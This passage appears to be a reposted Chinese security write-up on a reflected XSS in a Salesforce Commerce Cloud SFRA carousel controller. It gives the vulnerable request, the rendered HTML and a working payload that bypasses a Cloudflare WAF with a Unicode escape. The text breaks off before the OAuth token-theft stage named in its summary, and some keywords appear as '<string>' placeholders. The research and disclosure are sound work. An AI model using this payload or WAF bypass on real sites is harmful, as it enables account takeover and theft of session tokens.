利用WAF窃取SalesforceOAuth令牌

admin 2026-03-17 23:32:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详述了在SalesforceSFRA控制器中发现反射型XSS并利用Unicode转义绕过CloudflareWAF的过程。针对OAuthSSO登录,作者创新性地利用WAF的阻断特性,通过植入恶意Cookie中断重定向流程,致使授权码保留在URL中,从而通过XSS成功窃取令牌实现账户接管。该研究展示了将安全防御机制转化为攻击工具的高级利用思路。 综合评分: 93 文章分类: WEB安全,漏洞分析,渗透测试,实战经验


cover_image

利用WAF窃取Salesforce OAuth令牌

TtTeam

2026年3月2日 09:11 中国香港

以下文章来源于威胁情报Z分析 ,作者Z

威胁情报Z分析 .

国际网络安全威胁情报,地缘政治事件分析。

XSS 和 SFRA

Salesforce Commerce Cloud 提供成熟的安全基线,因此漏洞通常隐藏在商家自定义设置中,特别是自定义模板或组件中。在本例中,端点会根据请求参数提供的配置来渲染特定组件。

SFRA(店铺参考架构)控制器EinsteinCarousel-Load就是一个典型的例子。该控制器允许店铺动态加载轮播图部分的推荐产品,它需要两个参数:

limit – 表示轮播图中显示的最大推荐数量。

components – 一个 JSON 编码的组件配置对象数组,用于定义轮播图的渲染方式。

由于该components参数直接控制渲染输出,如果攻击者能够篡改它,它就可能成为一个注入点。通过查看我的 Caido 历史记录,我发现了一些使用此控制器的请求,其内容如下所示:

端点-GET /on/demandware.store/Sites-Redacted-Site/en/EinsteinCarousel-Load?components=参数components值:[{    "template":"product/productTileCarouselSlide",    "mainColor":"#000001",    "model":{        "type":"product",        "id":"7919757"    }}]

服务器将此内容渲染成如下 HTML:

<button&nbsp;data-border='1px solid #000001'&nbsp;data-background='#000001'&nbsp;class="w-btn w-quantity-btn w-increase-quantity-btn"&nbsp;@click="updateQuantity"&nbsp;:disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached"&nbsp;aria-label="Increase">

通过调整键值,mainColor我们可以看到输入的内容以属性值的形式反映在渲染后的 HTML 中,位于一个标签内。我确认,通过将其更改为:button可以跳出属性上下文。

<button&nbsp;data-border='1px solid #000001'&nbsp;x=x y=''&nbsp;data-background='#000001'&nbsp;x=x y=''&nbsp;class="w-btn w-quantity-btn w-increase-quantity-btn"&nbsp;@click="updateQuantity"&nbsp;:disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached"&nbsp;aria-label="Increase">

接下来,我们需要构建一个能够绕过属性上下文执行 JavaScript 的有效载荷。然而,我们被限制在标签内部,而 Cloudflare WAF 拦截了许多常见的攻击模式。这意味着我必须找到未被过滤且可以在现有标签内使用的特定属性。PortSwigger XSS 速查表button是获取此类有效载荷的绝佳资源。

经过一些测试,我发现这种方法oncontentvisibilityautostatechange可行,但仍然受到 WAF 过滤的限制。WAF 屏蔽了诸如 <string> 之类的关键字focus以及少数几个可用于此事件的模式的关键部分。然而,我通过使用Unicode转义(例如,<string> )style成功绕过了过滤器。之所以有效,是因为后端通过 <string> 处理输入,如控制器代码所示:

// app_storefront_base/cartridge/controllers/EinsteinCarousel.js:25&nbsp; &nbsp; server.get('Load',&nbsp;function&nbsp;(req) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;newFactory =&nbsp;require('*/cartridge/scripts/factories/product');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;URLUtils&nbsp;=&nbsp;require('dw/web/URLUtils');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;components = (JSON.parse(req.querystring.components));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;limit =&nbsp;parseInt(req.querystring.limit,&nbsp;10);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;successfulrenderings =&nbsp;0;// ...

基于此,我们可以发送以下有效载荷来实现 XSS 攻击:

[{&nbsp; &nbsp;&nbsp;"template":"product/productTileCarouselSlide",&nbsp; &nbsp;&nbsp;"mainColor":"#000001' oncontentvisibilityautostatechange='confirm``' \u0073tyle='display:block;content-visibility:auto",&nbsp; &nbsp;&nbsp;"model":{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":"product",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":"7919757"&nbsp; &nbsp;&nbsp;}}]
<button&nbsp;data-border='1px solid #000001'&nbsp;oncontentvisibilityautostatechange='confirm``'&nbsp;style='display:block;content-visibility:auto'&nbsp;data-background='#000001'&nbsp;oncontentvisibilityautostatechange='confirm``'&nbsp;style='display:block;content-visibility:auto'&nbsp;class="w-btn w-quantity-btn w-increase-quantity-btn"&nbsp;@click="updateQuantity"&nbsp;:disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached"&nbsp;aria-label="Increase">

注意: oncontentvisibilityautostatechange仅在带有